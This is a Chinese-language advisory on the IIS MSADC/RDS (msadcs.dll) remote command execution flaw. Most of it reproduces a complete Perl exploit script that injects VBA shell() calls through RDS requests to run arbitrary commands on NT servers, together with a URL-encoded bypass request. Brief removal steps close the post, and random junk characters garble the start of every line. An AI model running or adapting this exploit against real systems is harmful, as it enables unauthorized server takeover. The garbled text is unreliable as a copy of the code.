IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
2+50ezsId XI@;;>D1=U 涉及程序:
NLRgL'+F Microsoft NT server
v="i0lL_ Zgd|
J T7 描述:
|4UW.dGHPo 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
#A+ dj|
b XX+%:,G 详细:
KFx4"f% 如果你没有时间读详细内容的话,就删除:
G[GSt`LVS` c:\Program Files\Common Files\System\Msadc\msadcs.dll
X)P9f N~7 有关的安全问题就没有了。
qf#Ou Qt`}$] 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
P`0}( '"U ly9.2<oz}L 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
>La!O~d 关于利用ODBC远程漏洞的描述,请参看:
1?\G6T )cxLpTr http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm K_;'-B Jsde+G,N 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
-pvF~P?8U http://www.microsoft.com/security/bulletins/MS99-025faq.asp :+06M@ [f 4Nq \i 这里不再论述。
`ZhDoLpH< 7b7@"Zw* 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
8Th{(J_ 5o- WA1 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
7,X5]U&A<x 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
s|FfBG Wb4+U;C^!' .'aW~WR #将下面这段保存为txt文件,然后: "perl -x 文件名"
hj[&.w u 6A!Sw #!perl
Xy0*1$IS] #
SHWD@WLE4 # MSADC/RDS 'usage' (aka exploit) script
g$+ $@~ #
j6}/pe*;;T # by rain.forest.puppy
[TRHcz n #
<2{g[le # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
ROb2g|YXG # beta test and find errors!
W!6&T [j> &V"9[0 use Socket; use Getopt::Std;
()%NotN; getopts("e:vd:h:XR", \%args);
?QR13l( vuN!7*d+ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
:Aq==N_/2 R<]f[ if (!defined $args{h} && !defined $args{R}) {
NpqK+GO print qq~
hUR>NUK@8 Usage: msadc.pl -h <host> { -d <delay> -X -v }
_!_%Afz -h <host> = host you want to scan (ip or domain)
apmZ&Ab -d <seconds> = delay between calls, default 1 second
_=$:<wIE[ -X = dump Index Server path table, if available
x`9IQQ -v = verbose
xQ~}9Kt\ -e = external dictionary file for step 5
^I! u H1G 4@0y$Dv\ Or a -R will resume a command session
x:dI :G n3x<L:) ~; exit;}
BeFCt; -aSj- $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
}*Z *wC if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
uPh/u! if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
~&{LMf if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
pd%h5|*n; $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
'fo.1 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
#ATV#/hW {zha jY7 if (!defined $args{R}){ $ret = &has_msadc;
d x52[W die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
+t[i68,% EUGN`t-M print "Please type the NT commandline you want to run (cmd /c assumed):\n"
[cfKvROG . "cmd /c ";
i?^lEqy[ $in=<STDIN>; chomp $in;
V
d`}F0WD $command="cmd /c " . $in ;
J2Y
S+%K 4rDaJd>, if (defined $args{R}) {&load; exit;}
ku*H*o~ 'j&+Pg)@ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
zfGS=@e]G &try_btcustmr;
RZ+SOZs7H 5-[bd I print "\nStep 2: Trying to make our own DSN...";
>oYr=O &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
*gGL5<%T: VelR8tjP print "\nStep 3: Trying known DSNs...";
~3'}^V\ &known_dsn;
.^hk^r &[#iM0;)W0 print "\nStep 4: Trying known .mdbs...";
lD+f{GR &known_mdb;
&GKtD) V =9 if (defined $args{e}){
K."%PdC print "\nStep 5: Trying dictionary of DSN names...";
iup "P &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
CQ;.}=j
, sW#OA\i& print "Sorry Charley...maybe next time?\n";
( :h#H[F exit;
zb_nU7Eg T>P[0`*) ##############################################################################
lX)ZQY:= : SOg>0VH) sub sendraw { # ripped and modded from whisker
aWg*f*2f sleep($delay); # it's a DoS on the server! At least on mine...
Z4VNm1qs my ($pstr)=@_;
H5,rp4H9 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
_@] uHp| die("Socket problems\n");
Lnk(l2~U if(connect(S,pack "SnA4x8",2,80,$target)){
3{/[gX9 select(S); $|=1;
k\/idd[ print $pstr; my @in=<S>;
qi51'@ select(STDOUT); close(S);
=sFLzAu8 return @in;
(6g;FD:"6 } else { die("Can't connect...\n"); }}
f5tkv<) % F4X0DRC,G ##############################################################################
_DD.#YB</ G?$0OU sub make_header { # make the HTTP request
3q}fDM(@J my $msadc=<<EOT
rb_FBa% POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Q |1-j User-Agent: ACTIVEDATA
4). i4]%LH Host: $ip
P;' xa^Y Content-Length: $clen
%D_pTD\ Connection: Keep-Alive
}eLnTi{ Or:a\qQ1 ADCClientVersion:01.06
KB@F^&L { Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
/$-Tg)o5i v{2euOFE --!ADM!ROX!YOUR!WORLD!
.$]%gjIBCl Content-Type: application/x-varg
+CaA%u Content-Length: $reqlen
d(t$riFX} lk(.zYaaN EOT
f#>ubmuI^ ; $msadc=~s/\n/\r\n/g;
5,~Ju>y* return $msadc;}
{];8jdg/? \+3P<?hD# ##############################################################################
=k0qj_ _(zPA4q8q sub make_req { # make the RDS request
I&Dp~aEM] my ($switch, $p1, $p2)=@_;
-F338J+J24 my $req=""; my $t1, $t2, $query, $dsn;
OL0W'C9oA ibj3i7G? if ($switch==1){ # this is the btcustmr.mdb query
L`6 R $query="Select * from Customers where City=" . make_shell();
#)7THx/= $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
TQ`4dVaf $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
`=QRC.b k.@OFkX. elsif ($switch==2){ # this is general make table query
{9_}i#,vR $query="create table AZZ (B int, C varchar(10))";
,z@"pI
b $dsn="$p1";}
jM07&o]D dd>
qy elsif ($switch==3){ # this is general exploit table query
c7~>uNgJ $query="select * from AZZ where C=" . make_shell();
@w[2 BaDt $dsn="$p1";}
drkY~!a @o/126(k elsif ($switch==4){ # attempt to hork file info from index server
L0QF(:F5 $query="select path from scope()";
[+8in\T i $dsn="Provider=MSIDXS;";}
r!C#PiT}I YYs/r elsif ($switch==5){ # bad query
W3~xjS"h $query="select";
2Y-NxW^] $dsn="$p1";}
d) i64" }bA@QEJ $t1= make_unicode($query);
%j4AX $t2= make_unicode($dsn);
?nc:B]=pTY $req = "\x02\x00\x03\x00";
GB&^<@ $req.= "\x08\x00" . pack ("S1", length($t1));
sk>E(Myo $req.= "\x00\x00" . $t1 ;
XI/LVP,. $req.= "\x08\x00" . pack ("S1", length($t2));
kaG@T,pH( $req.= "\x00\x00" . $t2 ;
c8<qn+=%? $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
=_)yV0 return $req;}
81jVjf?` .KeZZLH ##############################################################################
A^3M~ I/vQP+w O sub make_shell { # this makes the shell() statement
ze_q+Z return "'|shell(\"$command\")|'";}
Hsl0|jy(/ /$Ca}> ##############################################################################
7,BULs\g L!l`2[F| sub make_unicode { # quick little function to convert to unicode
kWW$*d$ my ($in)=@_; my $out;
XcH_Y for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
+ _"AF| return $out;}
*rH#k? |9*8u>|RC ##############################################################################
o1^Rx5 uJ@C-/BD!M sub rdo_success { # checks for RDO return success (this is kludge)
_Gb O>'kE my (@in) = @_; my $base=content_start(@in);
gAxf5A_x) if($in[$base]=~/multipart\/mixed/){
1Ht&;V return 1 if( $in[$base+10]=~/^\x09\x00/ );}
6aq=h`Y return 0;}
+B#+' *^=zQ~ ##############################################################################
\YMe&[C:o _GF{Duxh sub make_dsn { # this makes a DSN for us
+ebmve \+ my @drives=("c","d","e","f");
appWq}db print "\nMaking DSN: ";
kh5VuXpe foreach $drive (@drives) {
)/mBq#ZS print "$drive: ";
CA[3R my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
A.wuB "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
L,7+26XV"B . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
o>Faq+@ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Gw@]w;ed return 0 if $2 eq "404"; # not found/doesn't exist
-:~"c@D if($2 eq "200") {
)z
Hib;O foreach $line (@results) {
K
Ml>~r return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
gF53[\w^v } return 0;}
|g1~- 0E^6"nt7N ##############################################################################
chs] ,7R UVz}"TRq. sub verify_exists {
1n-+IR" my ($page)=@_;
FofeQ my @results=sendraw("GET $page HTTP/1.0\n\n");
A(v5VvgZE return $results[0];}
{1Hs5bg@ !L?diR ##############################################################################
C(!A% > Zv|TvlyT" sub try_btcustmr {
(Rs052m1 my @drives=("c","d","e","f");
K}a3Bj, my @dirs=("winnt","winnt35","winnt351","win","windows");
(JI[y"2 J]4pPDm foreach $dir (@dirs) {
B$D7}=|kc print "$dir -> "; # fun status so you can see progress
8lZB3p]X foreach $drive (@drives) {
@F/yc print "$drive: "; # ditto
t4[<N $reqlen=length( make_req(1,$drive,$dir) ) - 28;
NDYm7X*et $reqlenlen=length( "$reqlen" );
2Sb68hJIE $clen= 206 + $reqlenlen + $reqlen;
cD JeYduK x3tos!Y my @results=sendraw(make_header() . make_req(1,$drive,$dir));
JZ>E<U9& if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
J2avt else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
rZ:-%#Q4 ;w(tXcXZ ##############################################################################
/+JHnedK a,`f`;\7N% sub odbc_error {
-.t/c}a# my (@in)=@_; my $base;
]X\p\n'@j my $base = content_start(@in);
efXiZ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
[$e\?c $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Pk/3oF $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]}z"H@k $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\6L,jSoBl return $in[$base+4].$in[$base+5].$in[$base+6];}
X')t6DQ( I print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
}BN!Xa print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
0 P2lq $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
k\<8h% :/XWk
% ##############################################################################
}O+`X) 9 oa<%R8T?@ sub verbose {
}-N4D"d4o my ($in)=@_;
5=hMTztf!! return if !$verbose;
.g?Ppma print STDOUT "\n$in\n";}
~v|NC([( kkU#0p? 7 ##############################################################################
kA4bv} 1Rd2Xb sub save {
.8]buM5_G my ($p1, $p2, $p3, $p4)=@_;
./@C open(OUT, ">rds.save") || print "Problem saving parameters...\n";
YMr2Dv\y print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
7w5C
NV close OUT;}
{'NXJ!I;t $i;m9_16 ##############################################################################
PTP0 _|K ##5e:<c&[ sub load {
G}LOQ7 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
a%*W(
4=Y open(IN,"<rds.save") || die("Couldn't open rds.save\n");
sa
w @p=<IN>; close(IN);
|*>s%nF| $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
#I}w$j
i $target= inet_aton($ip) || die("inet_aton problems");
b"pN; v print "Resuming to $ip ...";
/C6$B)w_*{ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
)Nt'Z*K* if($p[1]==1) {
mTBSntZx $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
',m!L@7M5 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
bR*}
s/ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
%G/(7l[W if (rdo_success(@results)){print "Success!\n";}
r8,'LZI z else { print "failed\n"; verbose(odbc_error(@results));}}
XDyFe'1I elsif ($p[1]==3){
Oh;V%G if(run_query("$p[3]")){
TH>7XK<90M print "Success!\n";} else { print "failed\n"; }}
KmpKyc[ elsif ($p[1]==4){
<V1y^EW0 if(run_query($drvst . "$p[3]")){
yF@72tK print "Success!\n"; } else { print "failed\n"; }}
%(A@=0r# exit;}
V\*J"ZP& P X>>h}% ##############################################################################
G]RFGwGt -7u_ \XFk sub create_table {
yW@YW_2;4 my ($in)=@_;
@S)p{T5G $reqlen=length( make_req(2,$in,"") ) - 28;
#3}!Q0 $reqlenlen=length( "$reqlen" );
yi:1cLq2 $clen= 206 + $reqlenlen + $reqlen;
O&}`R5Y; my @results=sendraw(make_header() . make_req(2,$in,""));
B4t,@,\O return 1 if rdo_success(@results);
YJB/*SV^ my $temp= odbc_error(@results); verbose($temp);
siz:YRur return 1 if $temp=~/Table 'AZZ' already exists/;
(sp{.bU return 0;}
kJ"}JRA< ![ @i+hl ##############################################################################
ks7id[~&iY $E-c%- sub known_dsn {
3B5 `Y # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
iD)P6" my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
so_^%)
gdJ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
&I7T? "banner", "banners", "ads", "ADCDemo", "ADCTest");
'<1Q;3Ho nJR(lXWO foreach $dSn (@dsns) {
GsiT!OP]y print ".";
f"Kl?IN8 next if (!is_access("DSN=$dSn"));
mk[<=k~ if(create_table("DSN=$dSn")){
~F13}is print "$dSn successful\n";
jygKw+C if(run_query("DSN=$dSn")){
!~`aEF3 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
paZcTC print "Something's borked. Use verbose next time\n";}}} print "\n";}
.6A{ suE#'0K ##############################################################################
n0b{Jg * M9Qx F sub is_access {
j"9Zaq_ my ($in)=@_;
1O+$"5H $reqlen=length( make_req(5,$in,"") ) - 28;
EfqC_,J*3 $reqlenlen=length( "$reqlen" );
C^ZDUj` $clen= 206 + $reqlenlen + $reqlen;
&uXu$)IZ my @results=sendraw(make_header() . make_req(5,$in,""));
N4w&g- my $temp= odbc_error(@results);
UQO?hZ!y/. verbose($temp); return 1 if ($temp=~/Microsoft Access/);
+?^lnoX return 0;}
5!qLJmd= CO{AC~ ##############################################################################
b|u,[jEB v-XB\|f sub run_query {
no9=K4h` my ($in)=@_;
%h}3}p#4 $reqlen=length( make_req(3,$in,"") ) - 28;
\:>eZl? $reqlenlen=length( "$reqlen" );
r<pt_Cd $clen= 206 + $reqlenlen + $reqlen;
q],/%W my @results=sendraw(make_header() . make_req(3,$in,""));
# 66vkf* return 1 if rdo_success(@results);
j1K?QH=e#{ my $temp= odbc_error(@results); verbose($temp);
NT<}-^ return 0;}
i+~H~k}"X T#ehJq 5 ##############################################################################
[='<K ~QU\kZ7Z sub known_mdb {
LsaRw-4.c my @drives=("c","d","e","f","g");
X;d 1@G my @dirs=("winnt","winnt35","winnt351","win","windows");
vg\fBHzn my $dir, $drive, $mdb;
oB%j3aAH my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
wj9Hh `g'z6~c7n # this is sparse, because I don't know of many
Y*YV/E. my @sysmdbs=( "\\catroot\\icatalog.mdb",
Z[9f8/6<b "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
S<>u "\\system32\\certmdb.mdb",
tx]!|x" F "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Q#}c5TjVr PjkjUP my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
D`NQEt"( "\\cfusion\\cfapps\\forums\\forums_.mdb",
_SqUPTb"u "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
]Ab$IKY "\\cfusion\\cfapps\\security\\realm_.mdb",
X@Yl<9|i "\\cfusion\\cfapps\\security\\data\\realm.mdb",
lQ| i
Ws "\\cfusion\\database\\cfexamples.mdb",
)P9&I.a8 "\\cfusion\\database\\cfsnippets.mdb",
~}ba2dU8 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
g&d
tOjM "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
'/@i}
digf "\\cfusion\\brighttiger\\database\\cleam.mdb",
`W{y "\\cfusion\\database\\smpolicy.mdb",
M~-jPY,+ "\\cfusion\\database\cypress.mdb",
54%h)dLDy "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
/igbn "\\website\\cgi-win\\dbsample.mdb",
A#CG D0T "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
xcC^9BAj "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
ju(QSZ|; ); #these are just
`:5W1D( foreach $drive (@drives) {
HfA@tZ5q|U foreach $dir (@dirs){
<%=@Ue foreach $mdb (@sysmdbs) {
zN>tSdNkI- print ".";
o&kgRv[ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Rs53R$PIR print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
+6\1
d5 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
9`5qVM1O{ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
WGI4DzKa } else { print "Something's borked. Use verbose next time\n"; }}}}}
)Q c>NF0 v Yw$m#@ foreach $drive (@drives) {
h;t5v6[" foreach $mdb (@mdbs) {
yA^+<uz} print ".";
[-w+ACV~ if(create_table($drv . $drive . $dir . $mdb)){
tkf^sGgNO print "\n" . $drive . $dir . $mdb . " successful\n";
*Zz hN]1 if(run_query($drv . $drive . $dir . $mdb)){
LAv!s/ O$= print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
#i|AE` } else { print "Something's borked. Use verbose next time\n"; }}}}
o'!WW }
5+Hw @CY3 c8M'/{4rH ##############################################################################
TbR!u:J
ui1h M sub hork_idx {
fC!+"g55 print "\nAttempting to dump Index Server tables...\n";
(zhi/>suG print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
u;=a=>05IR $reqlen=length( make_req(4,"","") ) - 28;
xkmqf7w $reqlenlen=length( "$reqlen" );
q|kkdK|N/Y $clen= 206 + $reqlenlen + $reqlen;
VB@M=ShKK my @results=sendraw2(make_header() . make_req(4,"",""));
K6e_RzP,.w if (rdo_success(@results)){
mW_ N-z my $max=@results; my $c; my %d;
;09U*S$eK for($c=19; $c<$max; $c++){
gIcm`5+T $results[$c]=~s/\x00//g;
#B8V2_M $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
6"_ytqw7 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
rPF2IS(5 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
XV:icY $d{"$1$2"}="";}
LABLT;c foreach $c (keys %d){ print "$c\n"; }
yn KgNi } else {print "Index server doesn't seem to be installed.\n"; }}
9vJ'9Z2\ .?;"iv+ ##############################################################################
U$AV"F&!&} "78BApjWT6 sub dsn_dict {
k+y>xI, open(IN, "<$args{e}") || die("Can't open external dictionary\n");
AOR(1Qyo while(<IN>){
p$zj2W+sN $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
S '%!KGVe next if (!is_access("DSN=$dSn"));
R^tDL if(create_table("DSN=$dSn")){
VT5o#NR{R print "$dSn successful\n";
<hmRr if(run_query("DSN=$dSn")){
KcF#c_f
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
F;<cG`|Rx print "Something's borked. Use verbose next time\n";}}}
4%,E;fB?= print "\n"; close(IN);}
~+bS D<!b P |kfPohI= ##############################################################################
nZ~J&QK- >e9xM Gv sub sendraw2 { # ripped and modded from whisker
gukKa sleep($delay); # it's a DoS on the server! At least on mine...
4: S- my ($pstr)=@_;
a29rD$ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
$+p4X# _ die("Socket problems\n");
v= "2p8@F if(connect(S,pack "SnA4x8",2,80,$target)){
F}{uY(hv"[ print "Connected. Getting data";
A#8Dv&$Pr open(OUT,">raw.out"); my @in;
fv?vfI+m select(S); $|=1; print $pstr;
KImazS^ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
zua=E2 close(OUT); select(STDOUT); close(S); return @in;
EmubpUS; } else { die("Can't connect...\n"); }}
H\@@iK= iBy
^ ##############################################################################
@#KZ2^ %Astfn(U{4 sub content_start { # this will take in the server headers
Q:sw*7"F my (@in)=@_; my $c;
Qr$Ay3#k for ($c=1;$c<500;$c++) {
H?W8_XiN if($in[$c] =~/^\x0d\x0a/){
q8P$Md-=b1 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
=#sr4T else { return $c+1; }}}
Uh8c!CA8:\ return -1;} # it should never get here actually
"[p-Iy1 \1cJ?/$_Of ##############################################################################
?(P3ZTk?. :igURr sub funky {
V
j"B/@ my (@in)=@_; my $error=odbc_error(@in);
j SX VLyz if($error=~/ADO could not find the specified provider/){
y%=t((.Z print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Cz]NSG 5 exit;}
)%=oJ!) if($error=~/A Handler is required/){
Q
R<q[@)F print "\nServer has custom handler filters (they most likely are patched)\n";
4l`"P~=2< exit;}
.Pi8c[ if($error=~/specified Handler has denied Access/){
k\`~v$R3 print "\nServer has custom handler filters (they most likely are patched)\n";
zTQTmO exit;}}
TE t+At`] %W:]OPURK ##############################################################################
!pG_MO x cA5 sub has_msadc {
xix:=
a my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
]Y@B= 5e/ my $base=content_start(@results);
n*vzp?+Y return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
l~i&r?,]^ return 0;}
+-+%6O<C si.w1 ########################
yttIA/ (!^; ar^ AQa;D2B$ 解决方案:
hRKA,u/G 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
<u%&@G$F> 2、移除web 目录: /msadc